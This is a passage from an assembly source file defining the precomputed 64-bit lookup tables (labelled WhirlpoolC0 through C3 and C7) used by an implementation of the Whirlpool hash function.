0a82a4d8254672a2ah,0d6bbb16d6b0abbbbh,023c146e29f87c1c1h,05153a202a6f15353h dq 057dcae8ba572dcdch,02c0b582716530b0bh,04e9d9cd327019d9dh,0ad6c47c1d82b6c6ch dq 0c43195f562a43131h,0cd7487b9e8f37474h,0fff6e309f115f6f6h,005460a438c4c4646h dq 08aac092645a5acach,01e893c970fb58989h,05014a04428b41414h,0a3e15b42dfbae1e1h dq 05816b04e2ca61616h,0e83acdd274f73a3ah,0b9696fd0d2066969h,02409482d12410909h dq 0dd70a7ade0d77070h,0e2b6d954716fb6b6h,067d0ceb7bd1ed0d0h,093ed3b7ec7d6ededh dq 017cc2edb85e2cccch,015422a5784684242h,05a98b4c22d2c9898h,0aaa4490e55eda4a4h dq 0a0285d8850752828h,06d5cda31b8865c5ch,0c7f8933fed6bf8f8h,0228644a411c28686h WhirlpoolC7 label qword dq 0186018c07830d818h,0238c2305af462623h,0c63fc67ef991b8c6h,0e887e8136fcdfbe8h dq 08726874ca113cb87h,0b8dab8a9626d11b8h,00104010805020901h,04f214f426e9e0d4fh dq 036d836adee6c9b36h,0a6a2a6590451ffa6h,0d26fd2debdb90cd2h,0f5f3f5fb06f70ef5h dq 079f979ef80f29679h,06fa16f5fcede306fh,0917e91fcef3f6d91h,0525552aa07a4f852h dq 0609d6027fdc04760h,0bccabc89766535bch,09b569baccd2b379bh,08e028e048c018a8eh dq 0a3b6a371155bd2a3h,00c300c603c186c0ch,07bf17bff8af6847bh,035d435b5e16a8035h dq 01d741de8693af51dh,0e0a7e05347ddb3e0h,0d77bd7f6acb321d7h,0c22fc25eed999cc2h dq 02eb82e6d965c432eh,04b314b627a96294bh,0fedffea321e15dfeh,05741578216aed557h dq 0155415a8412abd15h,077c1779fb6eee877h,037dc37a5eb6e9237h,0e5b3e57b56d79ee5h dq 09f469f8cd923139fh,0f0e7f0d317fd23f0h,04a354a6a7f94204ah,0da4fda9e95a944dah dq 0587d58fa25b0a258h,0c903c906ca8fcfc9h,029a429558d527c29h,00a280a5022145a0ah dq 0b1feb1e14f7f50b1h,0a0baa0691a5dc9a0h,06bb16b7fdad6146bh,0852e855cab17d985h dq 0bdcebd8173673cbdh,05d695dd234ba8f5dh,01040108050209010h,0f4f7f4f303f507f4h dq 0cb0bcb16c08bddcbh,03ef83eedc67cd33eh,005140528110a2d05h,06781671fe6ce7867h dq 0e4b7e47353d597e4h,0279c2725bb4e0227h,04119413258827341h,08b168b2c9d0ba78bh dq 0a7a6a7510153f6a7h,07de97dcf94fab27dh,0956e95dcfb374995h,0d847d88e9fad56d8h dq 0fbcbfb8b30eb70fbh,0ee9fee2371c1cdeeh,07ced7cc791f8bb7ch,066856617e3cc7166h dq 0dd53dda68ea77bddh,0175c17b84b2eaf17h,047014702468e4547h,09e429e84dc211a9eh dq 0ca0fca1ec589d4cah,02db42d75995a582dh,0bfc6bf9179632ebfh,0071c07381b0e3f07h dq 0ad8ead012347acadh,05a755aea2fb4b05ah,08336836cb51bef83h,033cc3385ff66b633h dq 06391633ff2c65c63h,0020802100a041202h,0aa92aa39384993aah,071d971afa8e2de71h dq 0c807c80ecf8dc6c8h,0196419c87d32d119h,04939497270923b49h,0d943d9869aaf5fd9h dq 0f2eff2c31df931f2h,0e3abe34b48dba8e3h,05b715be22ab6b95bh,0881a8834920dbc88h dq 09a529aa4c8293e9ah,02698262dbe4c0b26h,032c8328dfa64bf32h,0b0fab0e94a7d59b0h dq 0e983e91b6acff2e9h,00f3c0f78331e770fh,0d573d5e6a6b733d5h,0803a8074ba1df480h dq 0bec2be997c6127beh,0cd13cd26de87ebcdh,034d034bde4688934h,0483d487a75903248h dq 0ffdbffab24e354ffh,07af57af78ff48d7ah,0907a90f4ea3d6490h,05f615fc23ebe9d5fh dq 02080201da0403d20h,068bd6867d5d00f68h,01a681ad07234ca1ah,0ae82ae192c41b7aeh dq 0b4eab4c95e757db4h,0544d549a19a8ce54h,0937693ece53b7f93h,02288220daa442f22h dq 0648d6407e9c86364h,0f1e3f1db12ff2af1h,073d173bfa2e6cc73h,0124812905a248212h dq 0401d403a5d807a40h,00820084028104808h,0c32bc356e89b95c3h,0ec97ec337bc5dfech dq 0db4bdb9690ab4ddbh,0a1bea1611f5fc0a1h,08d0e8d1c8307918dh,03df43df5c97ac83dh dq 0976697ccf1335b97h,00000000000000000h,0cf1bcf36d483f9cfh,02bac2b4587566e2bh dq 076c57697b3ece176h,082328264b019e682h,0d67fd6fea9b128d6h,01b6c1bd87736c31bh dq 0b5eeb5c15b7774b5h,0af86af112943beafh,06ab56a77dfd41d6ah,0505d50ba0da0ea50h dq 0450945124c8a5745h,0f3ebf3cb18fb38f3h,030c0309df060ad30h,0ef9bef2b74c3c4efh dq 03ffc3fe5c37eda3fh,0554955921caac755h,0a2b2a2791059dba2h,0ea8fea0365c9e9eah dq 06589650fecca6a65h,0bad2bab9686903bah,02fbc2f65935e4a2fh,0c027c04ee79d8ec0h dq 0de5fdebe81a160deh,01c701ce06c38fc1ch,0fdd3fdbb2ee746fdh,04d294d52649a1f4dh dq 0927292e4e0397692h,075c9758fbceafa75h,0061806301e0c3606h,08a128a249809ae8ah dq 0b2f2b2f940794bb2h,0e6bfe66359d185e6h,00e380e70361c7e0eh,01f7c1ff8633ee71fh dq 062956237f7c45562h,0d477d4eea3b53ad4h,0a89aa829324d81a8h,0966296c4f4315296h dq 0f9c3f99b3aef62f9h,0c533c566f697a3c5h,025942535b14a1025h,0597959f220b2ab59h dq 0842a8454ae15d084h,072d572b7a7e4c572h,039e439d5dd72ec39h,04c2d4c5a6198164ch dq 05e655eca3bbc945eh,078fd78e785f09f78h,038e038ddd870e538h,08c0a8c148605988ch dq 0d163d1c6b2bf17d1h,0a5aea5410b57e4a5h,0e2afe2434dd9a1e2h,06199612ff8c24e61h dq 0b3f6b3f1457b42b3h,021842115a5423421h,09c4a9c94d625089ch,01e781ef0663cee1eh dq 04311432252866143h,0c73bc776fc93b1c7h,0fcd7fcb32be54ffch,00410042014082404h dq 0515951b208a2e351h,0995e99bcc72f2599h,06da96d4fc4da226dh,00d340d68391a650dh dq 0facffa8335e979fah,0df5bdfb684a369dfh,07ee57ed79bfca97eh,02490243db4481924h dq 03bec3bc5d776fe3bh,0ab96ab313d4b9aabh,0ce1fce3ed181f0ceh,01144118855229911h dq 08f068f0c8903838fh,04e254e4a6b9c044eh,0b7e6b7d1517366b7h,0eb8beb0b60cbe0ebh dq 03cf03cfdcc78c13ch,0813e817cbf1ffd81h,0946a94d4fe354094h,0f7fbf7eb0cf31cf7h dq 0b9deb9a1676f18b9h,0134c13985f268b13h,02cb02c7d9c58512ch,0d36bd3d6b8bb05d3h dq 0e7bbe76b5cd38ce7h,06ea56e57cbdc396eh,0c437c46ef395aac4h,0030c03180f061b03h dq 05645568a13acdc56h,0440d441a49885e44h,07fe17fdf9efea07fh,0a99ea921374f88a9h dq 02aa82a4d8254672ah,0bbd6bbb16d6b0abbh,0c123c146e29f87c1h,0535153a202a6f153h dq 0dc57dcae8ba572dch,00b2c0b582716530bh,09d4e9d9cd327019dh,06cad6c47c1d82b6ch dq 031c43195f562a431h,074cd7487b9e8f374h,0f6fff6e309f115f6h,04605460a438c4c46h dq 0ac8aac092645a5ach,0891e893c970fb589h,0145014a04428b414h,0e1a3e15b42dfbae1h dq 0165816b04e2ca616h,03ae83acdd274f73ah,069b9696fd0d20669h,0092409482d124109h dq 070dd70a7ade0d770h,0b6e2b6d954716fb6h,0d067d0ceb7bd1ed0h,0ed93ed3b7ec7d6edh dq 0cc17cc2edb85e2cch,04215422a57846842h,0985a98b4c22d2c98h,0a4aaa4490e55eda4h dq 028a0285d88507528h,05c6d5cda31b8865ch,0f8c7f8933fed6bf8h,086228644a411c286h ELSE WhirlpoolC0 label qword dq 01818281878c0d878h,023236523af0526afh,0c6c657c6f97eb8f9h,0e8e825e86f13fb6fh dq 087879487a14ccba1h,0b8b8d5b862a91162h,00101030105080905h,04f4fd14f6e420d6eh dq 036365a36eead9beeh,0a6a6f7a60459ff04h,0d2d26bd2bdde0cbdh,0f5f502f506fb0e06h dq 079798b7980ef9680h,06f6fb16fce5f30ceh,09191ae91effc6defh,05252f65207aaf807h dq 06060a060fd2747fdh,0bcbcd9bc76893576h,09b9bb09bcdac37cdh,08e8e8f8e8c048a8ch dq 0a3a3f8a31571d215h,00c0c140c3c606c3ch,07b7b8d7b8aff848ah,035355f35e1b580e1h dq 01d1d271d69e8f569h,0e0e03de04753b347h,0d7d764d7acf621ach,0c2c25bc2ed5e9cedh dq 02e2e722e966d4396h,04b4bdd4b7a62297ah,0fefe1ffe21a35d21h,05757f9571682d516h dq 015153f1541a8bd41h,077779977b69fe8b6h,037375937eba592ebh,0e5e532e5567b9e56h dq 09f9fbc9fd98c13d9h,0f0f00df017d32317h,04a4ade4a7f6a207fh,0dada73da959e4495h dq 05858e85825faa225h,0c9c946c9ca06cfcah,029297b298d557c8dh,00a0a1e0a22505a22h dq 0b1b1ceb14fe1504fh,0a0a0fda01a69c91ah,06b6bbd6bda7f14dah,085859285ab5cd9abh dq 0bdbddabd73813c73h,05d5de75d34d28f34h,01010301050809050h,0f4f401f403f30703h dq 0cbcb40cbc016ddc0h,03e3e423ec6edd3c6h,005050f0511282d11h,06767a967e61f78e6h dq 0e4e431e453739753h,027276927bb2502bbh,04141c34158327358h,08b8b808b9d2ca79dh dq 0a7a7f4a70151f601h,07d7d877d94cfb294h,09595a295fbdc49fbh,0d8d875d89f8e569fh dq 0fbfb10fb308b7030h,0eeee2fee7123cd71h,07c7c847c91c7bb91h,06666aa66e31771e3h dq 0dddd7add8ea67b8eh,0171739174bb8af4bh,04747c94746024546h,09e9ebf9edc841adch dq 0caca43cac51ed4c5h,02d2d772d99755899h,0bfbfdcbf79912e79h,0070709071b383f1bh dq 0adadeaad2301ac23h,05a5aee5a2feab02fh,083839883b56cefb5h,033335533ff85b6ffh dq 06363a563f23f5cf2h,0020206020a10120ah,0aaaae3aa38399338h,071719371a8afdea8h dq 0c8c845c8cf0ec6cfh,019192b197dc8d17dh,04949db4970723b70h,0d9d976d99a865f9ah dq 0f2f20bf21dc3311dh,0e3e338e3484ba848h,05b5bed5b2ae2b92ah,0888885889234bc92h dq 09a9ab39ac8a43ec8h,026266a26be2d0bbeh,032325632fa8dbffah,0b0b0cdb04ae9594ah dq 0e9e926e96a1bf26ah,00f0f110f33787733h,0d5d562d5a6e633a6h,080809d80ba74f4bah dq 0bebedfbe7c99277ch,0cdcd4acdde26ebdeh,034345c34e4bd89e4h,04848d848757a3275h dq 0ffff1cff24ab5424h,07a7a8e7a8ff78d8fh,09090ad90eaf464eah,05f5fe15f3ec29d3eh dq 020206020a01d3da0h,06868b868d5670fd5h,01a1a2e1a72d0ca72h,0aeaeefae2c19b72ch dq 0b4b4c1b45ec97d5eh,05454fc54199ace19h,09393a893e5ec7fe5h,022226622aa0d2faah dq 06464ac64e90763e9h,0f1f10ef112db2a12h,073739573a2bfcca2h,0121236125a90825ah dq 04040c0405d3a7a5dh,00808180828404828h,0c3c358c3e85695e8h,0ecec29ec7b33df7bh dq 0dbdb70db90964d90h,0a1a1fea11f61c01fh,08d8d8a8d831c9183h,03d3d473dc9f5c8c9h dq 09797a497f1cc5bf1h,00000000000000000h,0cfcf4ccfd436f9d4h,02b2b7d2b87456e87h dq 076769a76b397e1b3h,082829b82b064e6b0h,0d6d667d6a9fe28a9h,01b1b2d1b77d8c377h dq 0b5b5c2b55bc1745bh,0afafecaf2911be29h,06a6abe6adf771ddfh,05050f0500dbaea0dh dq 04545cf454c12574ch,0f3f308f318cb3818h,030305030f09dadf0h,0efef2cef742bc474h dq 03f3f413fc3e5dac3h,05555ff551c92c71ch,0a2a2fba21079db10h,0eaea23ea6503e965h dq 06565af65ec0f6aech,0babad3ba68b90368h,02f2f712f93654a93h,0c0c05dc0e74e8ee7h dq 0dede7fde81be6081h,01c1c241c6ce0fc6ch,0fdfd1afd2ebb462eh,04d4dd74d64521f64h dq 09292ab92e0e476e0h,075759f75bc8ffabch,006060a061e30361eh,08a8a838a9824ae98h dq 0b2b2cbb240f94b40h,0e6e637e659638559h,00e0e120e36707e36h,01f1f211f63f8e763h dq 06262a662f73755f7h,0d4d461d4a3ee3aa3h,0a8a8e5a832298132h,09696a796f4c452f4h dq 0f9f916f93a9b623ah,0c5c552c5f666a3f6h,025256f25b13510b1h,05959eb5920f2ab20h dq 084849184ae54d0aeh,072729672a7b7c5a7h,039394b39ddd5ecddh,04c4cd44c615a1661h dq 05e5ee25e3bca943bh,07878887885e79f85h,038384838d8dde5d8h,08c8c898c86149886h dq 0d1d16ed1b2c617b2h,0a5a5f2a50b41e40bh,0e2e23be24d43a14dh,06161a361f82f4ef8h dq 0b3b3c8b345f14245h,021216321a51534a5h,09c9cb99cd69408d6h,01e1e221e66f0ee66h dq 04343c54352226152h,0c7c754c7fc76b1fch,0fcfc19fc2bb34f2bh,004040c0414202414h dq 05151f35108b2e308h,09999b699c7bc25c7h,06d6db76dc44f22c4h,00d0d170d39686539h dq 0fafa13fa35837935h,0dfdf7cdf84b66984h,07e7e827e9bd7a99bh,024246c24b43d19b4h dq 03b3b4d3bd7c5fed7h,0ababe0ab3d319a3dh,0cece4fced13ef0d1h,01111331155889955h dq 08f8f8c8f890c8389h,04e4ed24e6b4a046bh,0b7b7c4b751d16651h,0ebeb20eb600be060h dq 03c3c443cccfdc1cch,081819e81bf7cfdbfh,09494a194fed440feh,0f7f704f70ceb1c0ch dq 0b9b9d6b967a11867h,0131335135f988b5fh,02c2c742c9c7d519ch,0d3d368d3b8d605b8h dq 0e7e734e75c6b8c5ch,06e6eb26ecb5739cbh,0c4c451c4f36eaaf3h,0030305030f181b0fh dq 05656fa56138adc13h,04444cc44491a5e49h,07f7f817f9edfa09eh,0a9a9e6a937218837h dq 02a2a7e2a824d6782h,0bbbbd0bb6db10a6dh,0c1c15ec1e24687e2h,05353f55302a2f102h dq 0dcdc79dc8bae728bh,00b0b1d0b27585327h,09d9dba9dd39c01d3h,06c6cb46cc1472bc1h dq 031315331f595a4f5h,074749c74b987f3b9h,0f6f607f609e31509h,04646ca46430a4c43h dq 0acace9ac2609a526h,089898689973cb597h,014143c1444a0b444h,0e1e13ee1425bba42h dq 016163a164eb0a64eh,03a3a4e3ad2cdf7d2h,06969bb69d06f06d0h,009091b092d48412dh dq 070709070ada7d7adh,0b6b6c7b654d96f54h,0d0d06dd0b7ce1eb7h,0eded2aed7e3bd67eh dq 0cccc49ccdb2ee2dbh,04242c642572a6857h,09898b598c2b42cc2h,0a4a4f1a40e49ed0eh dq 028287828885d7588h,05c5ce45c31da8631h,0f8f815f83f936b3fh,086869786a444c2a4h WhirlpoolC1 label qword dq 0781818281878c0d8h,0af23236523af0526h,0f9c6c657c6f97eb8h,06fe8e825e86f13fbh dq 0a187879487a14ccbh,062b8b8d5b862a911h,00501010301050809h,06e4f4fd14f6e420dh dq 0ee36365a36eead9bh,004a6a6f7a60459ffh,0bdd2d26bd2bdde0ch,006f5f502f506fb0eh dq 08079798b7980ef96h,0ce6f6fb16fce5f30h,0ef9191ae91effc6dh,0075252f65207aaf8h dq 0fd6060a060fd2747h,076bcbcd9bc768935h,0cd9b9bb09bcdac37h,08c8e8e8f8e8c048ah dq 015a3a3f8a31571d2h,03c0c0c140c3c606ch,08a7b7b8d7b8aff84h,0e135355f35e1b580h dq 0691d1d271d69e8f5h,047e0e03de04753b3h,0acd7d764d7acf621h,0edc2c25bc2ed5e9ch dq 0962e2e722e966d43h,07a4b4bdd4b7a6229h,021fefe1ffe21a35dh,0165757f9571682d5h dq 04115153f1541a8bdh,0b677779977b69fe8h,0eb37375937eba592h,056e5e532e5567b9eh dq 0d99f9fbc9fd98c13h,017f0f00df017d323h,07f4a4ade4a7f6a20h,095dada73da959e44h dq 0255858e85825faa2h,0cac9c946c9ca06cfh,08d29297b298d557ch,0220a0a1e0a22505ah dq 04fb1b1ceb14fe150h,01aa0a0fda01a69c9h,0da6b6bbd6bda7f14h,0ab85859285ab5cd9h dq 073bdbddabd73813ch,0345d5de75d34d28fh,05010103010508090h,003f4f401f403f307h dq 0c0cbcb40cbc016ddh,0c63e3e423ec6edd3h,01105050f0511282dh,0e66767a967e61f78h dq 053e4e431e4537397h,0bb27276927bb2502h,0584141c341583273h,09d8b8b808b9d2ca7h dq 001a7a7f4a70151f6h,0947d7d877d94cfb2h,0fb9595a295fbdc49h,09fd8d875d89f8e56h dq 030fbfb10fb308b70h,071eeee2fee7123cdh,0917c7c847c91c7bbh,0e36666aa66e31771h dq 08edddd7add8ea67bh,04b171739174bb8afh,0464747c947460245h,0dc9e9ebf9edc841ah dq 0c5caca43cac51ed4h,0992d2d772d997558h,079bfbfdcbf79912eh,01b070709071b383fh dq 023adadeaad2301ach,02f5a5aee5a2feab0h,0b583839883b56cefh,0ff33335533ff85b6h dq 0f26363a563f23f5ch,00a020206020a1012h,038aaaae3aa383993h,0a871719371a8afdeh dq 0cfc8c845c8cf0ec6h,07d19192b197dc8d1h,0704949db4970723bh,09ad9d976d99a865fh dq 01df2f20bf21dc331h,048e3e338e3484ba8h,02a5b5bed5b2ae2b9h,092888885889234bch dq 0c89a9ab39ac8a43eh,0be26266a26be2d0bh,0fa32325632fa8dbfh,04ab0b0cdb04ae959h dq 06ae9e926e96a1bf2h,0330f0f110f337877h,0a6d5d562d5a6e633h,0ba80809d80ba74f4h dq 07cbebedfbe7c9927h,0decdcd4acdde26ebh,0e434345c34e4bd89h,0754848d848757a32h dq 024ffff1cff24ab54h,08f7a7a8e7a8ff78dh,0ea9090ad90eaf464h,03e5f5fe15f3ec29dh dq 0a020206020a01d3dh,0d56868b868d5670fh,0721a1a2e1a72d0cah,02caeaeefae2c19b7h dq 05eb4b4c1b45ec97dh,0195454fc54199aceh,0e59393a893e5ec7fh,0aa22226622aa0d2fh dq 0e96464ac64e90763h,012f1f10ef112db2ah,0a273739573a2bfcch,05a121236125a9082h dq 05d4040c0405d3a7ah,02808081808284048h,0e8c3c358c3e85695h,07becec29ec7b33dfh dq 090dbdb70db90964dh,01fa1a1fea11f61c0h,0838d8d8a8d831c91h,0c93d3d473dc9f5c8h dq 0f19797a497f1cc5bh,00000000000000000h,0d4cfcf4ccfd436f9h,0872b2b7d2b87456eh dq 0b376769a76b397e1h,0b082829b82b064e6h,0a9d6d667d6a9fe28h,0771b1b2d1b77d8c3h dq 05bb5b5c2b55bc174h,029afafecaf2911beh,0df6a6abe6adf771dh,00d5050f0500dbaeah dq 04c4545cf454c1257h,018f3f308f318cb38h,0f030305030f09dadh,074efef2cef742bc4h dq 0c33f3f413fc3e5dah,01c5555ff551c92c7h,010a2a2fba21079dbh,065eaea23ea6503e9h dq 0ec6565af65ec0f6ah,068babad3ba68b903h,0932f2f712f93654ah,0e7c0c05dc0e74e8eh dq 081dede7fde81be60h,06c1c1c241c6ce0fch,02efdfd1afd2ebb46h,0644d4dd74d64521fh dq 0e09292ab92e0e476h,0bc75759f75bc8ffah,01e06060a061e3036h,0988a8a838a9824aeh dq 040b2b2cbb240f94bh,059e6e637e6596385h,0360e0e120e36707eh,0631f1f211f63f8e7h dq 0f76262a662f73755h,0a3d4d461d4a3ee3ah,032a8a8e5a8322981h,0f49696a796f4c452h dq 03af9f916f93a9b62h,0f6c5c552c5f666a3h,0b125256f25b13510h,0205959eb5920f2abh dq 0ae84849184ae54d0h,0a772729672a7b7c5h,0dd39394b39ddd5ech,0614c4cd44c615a16h dq 03b5e5ee25e3bca94h,0857878887885e79fh,0d838384838d8dde5h,0868c8c898c861498h dq 0b2d1d16ed1b2c617h,00ba5a5f2a50b41e4h,04de2e23be24d43a1h,0f86161a361f82f4eh dq 045b3b3c8b345f142h,0a521216321a51534h,0d69c9cb99cd69408h,0661e1e221e66f0eeh dq 0524343c543522261h,0fcc7c754c7fc76b1h,02bfcfc19fc2bb34fh,01404040c04142024h dq 0085151f35108b2e3h,0c79999b699c7bc25h,0c46d6db76dc44f22h,0390d0d170d396865h dq 035fafa13fa358379h,084dfdf7cdf84b669h,09b7e7e827e9bd7a9h,0b424246c24b43d19h dq 0d73b3b4d3bd7c5feh,03dababe0ab3d319ah,0d1cece4fced13ef0h,05511113311558899h dq 0898f8f8c8f890c83h,06b4e4ed24e6b4a04h,051b7b7c4b751d166h,060ebeb20eb600be0h dq 0cc3c3c443cccfdc1h,0bf81819e81bf7cfdh,0fe9494a194fed440h,00cf7f704f70ceb1ch dq 067b9b9d6b967a118h,05f131335135f988bh,09c2c2c742c9c7d51h,0b8d3d368d3b8d605h dq 05ce7e734e75c6b8ch,0cb6e6eb26ecb5739h,0f3c4c451c4f36eaah,00f030305030f181bh dq 0135656fa56138adch,0494444cc44491a5eh,09e7f7f817f9edfa0h,037a9a9e6a9372188h dq 0822a2a7e2a824d67h,06dbbbbd0bb6db10ah,0e2c1c15ec1e24687h,0025353f55302a2f1h dq 08bdcdc79dc8bae72h,0270b0b1d0b275853h,0d39d9dba9dd39c01h,0c16c6cb46cc1472bh dq 0f531315331f595a4h,0b974749c74b987f3h,009f6f607f609e315h,0434646ca46430a4ch dq 026acace9ac2609a5h,09789898689973cb5h,04414143c1444a0b4h,042e1e13ee1425bbah dq 04e16163a164eb0a6h,0d23a3a4e3ad2cdf7h,0d06969bb69d06f06h,02d09091b092d4841h dq 0ad70709070ada7d7h,054b6b6c7b654d96fh,0b7d0d06dd0b7ce1eh,07eeded2aed7e3bd6h dq 0dbcccc49ccdb2ee2h,0574242c642572a68h,0c29898b598c2b42ch,00ea4a4f1a40e49edh dq 08828287828885d75h,0315c5ce45c31da86h,03ff8f815f83f936bh,0a486869786a444c2h WhirlpoolC2 label qword dq 0d8781818281878c0h,026af23236523af05h,0b8f9c6c657c6f97eh,0fb6fe8e825e86f13h dq 0cba187879487a14ch,01162b8b8d5b862a9h,00905010103010508h,00d6e4f4fd14f6e42h dq 09bee36365a36eeadh,0ff04a6a6f7a60459h,00cbdd2d26bd2bddeh,00e06f5f502f506fbh dq 0968079798b7980efh,030ce6f6fb16fce5fh,06def9191ae91effch,0f8075252f65207aah dq 047fd6060a060fd27h,03576bcbcd9bc7689h,037cd9b9bb09bcdach,08a8c8e8e8f8e8c04h dq 0d215a3a3f8a31571h,06c3c0c0c140c3c60h,0848a7b7b8d7b8affh,080e135355f35e1b5h dq 0f5691d1d271d69e8h,0b347e0e03de04753h,021acd7d764d7acf6h,09cedc2c25bc2ed5eh dq 043962e2e722e966dh,0297a4b4bdd4b7a62h,05d21fefe1ffe21a3h,0d5165757f9571682h dq 0bd4115153f1541a8h,0e8b677779977b69fh,092eb37375937eba5h,09e56e5e532e5567bh dq 013d99f9fbc9fd98ch,02317f0f00df017d3h,0207f4a4ade4a7f6ah,04495dada73da959eh dq 0a2255858e85825fah,0cfcac9c946c9ca06h,07c8d29297b298d55h,05a220a0a1e0a2250h dq 0504fb1b1ceb14fe1h,0c91aa0a0fda01a69h,014da6b6bbd6bda7fh,0d9ab85859285ab5ch dq 03c73bdbddabd7381h,08f345d5de75d34d2h,09050101030105080h,00703f4f401f403f3h dq 0ddc0cbcb40cbc016h,0d3c63e3e423ec6edh,02d1105050f051128h,078e66767a967e61fh dq 09753e4e431e45373h,002bb27276927bb25h,073584141c3415832h,0a79d8b8b808b9d2ch dq 0f601a7a7f4a70151h,0b2947d7d877d94cfh,049fb9595a295fbdch,0569fd8d875d89f8eh dq 07030fbfb10fb308bh,0cd71eeee2fee7123h,0bb917c7c847c91c7h,071e36666aa66e317h dq 07b8edddd7add8ea6h,0af4b171739174bb8h,045464747c9474602h,01adc9e9ebf9edc84h dq 0d4c5caca43cac51eh,058992d2d772d9975h,02e79bfbfdcbf7991h,03f1b070709071b38h dq 0ac23adadeaad2301h,0b02f5a5aee5a2feah,0efb583839883b56ch,0b6ff33335533ff85h dq 05cf26363a563f23fh,0120a020206020a10h,09338aaaae3aa3839h,0dea871719371a8afh dq 0c6cfc8c845c8cf0eh,0d17d19192b197dc8h,03b704949db497072h,05f9ad9d976d99a86h dq 0311df2f20bf21dc3h,0a848e3e338e3484bh,0b92a5b5bed5b2ae2h,0bc92888885889234h dq 03ec89a9ab39ac8a4h,00bbe26266a26be2dh,0bffa32325632fa8dh,0594ab0b0cdb04ae9h dq 0f26ae9e926e96a1bh,077330f0f110f3378h,033a6d5d562d5a6e6h,0f4ba80809d80ba74h dq 0277cbebedfbe7c99h,0ebdecdcd4acdde26h,089e434345c34e4bdh,032754848d848757ah dq 05424ffff1cff24abh,08d8f7a7a8e7a8ff7h,064ea9090ad90eaf4h,09d3e5f5fe15f3ec2h dq 03da020206020a01dh,00fd56868b868d567h,0ca721a1a2e1a72d0h,0b72caeaeefae2c19h dq 07d5eb4b4c1b45ec9h,0ce195454fc54199ah,07fe59393a893e5ech,02faa22226622aa0dh dq 063e96464ac64e907h,02a12f1f10ef112dbh,0cca273739573a2bfh,0825a121236125a90h dq 07a5d4040c0405d3ah,04828080818082840h,095e8c3c358c3e856h,0df7becec29ec7b33h dq 04d90dbdb70db9096h,0c01fa1a1fea11f61h,091838d8d8a8d831ch,0c8c93d3d473dc9f5h dq 05bf19797a497f1cch,00000000000000000h,0f9d4cfcf4ccfd436h,06e872b2b7d2b8745h dq 0e1b376769a76b397h,0e6b082829b82b064h,028a9d6d667d6a9feh,0c3771b1b2d1b77d8h dq 0745bb5b5c2b55bc1h,0be29afafecaf2911h,01ddf6a6abe6adf77h,0ea0d5050f0500dbah dq 0574c4545cf454c12h,03818f3f308f318cbh,0adf030305030f09dh,0c474efef2cef742bh dq 0dac33f3f413fc3e5h,0c71c5555ff551c92h,0db10a2a2fba21079h,0e965eaea23ea6503h dq 06aec6565af65ec0fh,00368babad3ba68b9h,04a932f2f712f9365h,08ee7c0c05dc0e74eh dq 06081dede7fde81beh,0fc6c1c1c241c6ce0h,0462efdfd1afd2ebbh,01f644d4dd74d6452h dq 076e09292ab92e0e4h,0fabc75759f75bc8fh,0361e06060a061e30h,0ae988a8a838a9824h dq 04b40b2b2cbb240f9h,08559e6e637e65963h,07e360e0e120e3670h,0e7631f1f211f63f8h dq 055f76262a662f737h,03aa3d4d461d4a3eeh,08132a8a8e5a83229h,052f49696a796f4c4h dq 0623af9f916f93a9bh,0a3f6c5c552c5f666h,010b125256f25b135h,0ab205959eb5920f2h dq 0d0ae84849184ae54h,0c5a772729672a7b7h,0ecdd39394b39ddd5h,016614c4cd44c615ah dq 0943b5e5ee25e3bcah,09f857878887885e7h,0e5d838384838d8ddh,098868c8c898c8614h dq 017b2d1d16ed1b2c6h,0e40ba5a5f2a50b41h,0a14de2e23be24d43h,04ef86161a361f82fh dq 04245b3b3c8b345f1h,034a521216321a515h,008d69c9cb99cd694h,0ee661e1e221e66f0h dq 061524343c5435222h,0b1fcc7c754c7fc76h,04f2bfcfc19fc2bb3h,0241404040c041420h dq 0e3085151f35108b2h,025c79999b699c7bch,022c46d6db76dc44fh,065390d0d170d3968h dq 07935fafa13fa3583h,06984dfdf7cdf84b6h,0a99b7e7e827e9bd7h,019b424246c24b43dh dq 0fed73b3b4d3bd7c5h,09a3dababe0ab3d31h,0f0d1cece4fced13eh,09955111133115588h dq 083898f8f8c8f890ch,0046b4e4ed24e6b4ah,06651b7b7c4b751d1h,0e060ebeb20eb600bh dq 0c1cc3c3c443cccfdh,0fdbf81819e81bf7ch,040fe9494a194fed4h,01c0cf7f704f70cebh dq 01867b9b9d6b967a1h,08b5f131335135f98h,0519c2c2c742c9c7dh,005b8d3d368d3b8d6h dq 08c5ce7e734e75c6bh,039cb6e6eb26ecb57h,0aaf3c4c451c4f36eh,01b0f030305030f18h dq 0dc135656fa56138ah,05e494444cc44491ah,0a09e7f7f817f9edfh,08837a9a9e6a93721h dq 067822a2a7e2a824dh,00a6dbbbbd0bb6db1h,087e2c1c15ec1e246h,0f1025353f55302a2h dq 0728bdcdc79dc8baeh,053270b0b1d0b2758h,001d39d9dba9dd39ch,02bc16c6cb46cc147h dq 0a4f531315331f595h,0f3b974749c74b987h,01509f6f607f609e3h,04c434646ca46430ah dq 0a526acace9ac2609h,0b59789898689973ch,0b44414143c1444a0h,0ba42e1e13ee1425bh dq 0a64e16163a164eb0h,0f7d23a3a4e3ad2cdh,006d06969bb69d06fh,0412d09091b092d48h dq 0d7ad70709070ada7h,06f54b6b6c7b654d9h,01eb7d0d06dd0b7ceh,0d67eeded2aed7e3bh dq 0e2dbcccc49ccdb2eh,068574242c642572ah,02cc29898b598c2b4h,0ed0ea4a4f1a40e49h dq 0758828287828885dh,086315c5ce45c31dah,06b3ff8f815f83f93h,0c2a486869786a444h WhirlpoolC3 label qword dq 0c0d8781818281878h,00526af23236523afh,07eb8f9c6c657c6f9h,013fb6fe8e825e86fh dq 04ccba187879487a1h,0a91162b8b8d5b862h,00809050101030105h,0420d6e4f4fd14f6eh dq 0ad9bee36365a36eeh,059ff04a6a6f7a604h,0de0cbdd2d26bd2bdh,0fb0e06f5f502f506h dq 0ef968079798b7980h,05f30ce6f6fb16fceh,0fc6def9191ae91efh,0aaf8075252f65207h dq 02747fd6060a060fdh,0893576bcbcd9bc76h,0ac37cd9b9bb09bcdh,0048a8c8e8e8f8e8ch dq 071d215a3a3f8a315h,0606c3c0c0c140c3ch,0ff848a7b7b8d7b8ah,0b580e135355f35e1h dq 0e8f5691d1d271d69h,053b347e0e03de047h,0f621acd7d764d7ach,05e9cedc2c25bc2edh dq 06d43962e2e722e96h,062297a4b4bdd4b7ah,0a35d21fefe1ffe21h,082d5165757f95716h dq 0a8bd4115153f1541h,09fe8b677779977b6h,0a592eb37375937ebh,07b9e56e5e532e556h dq 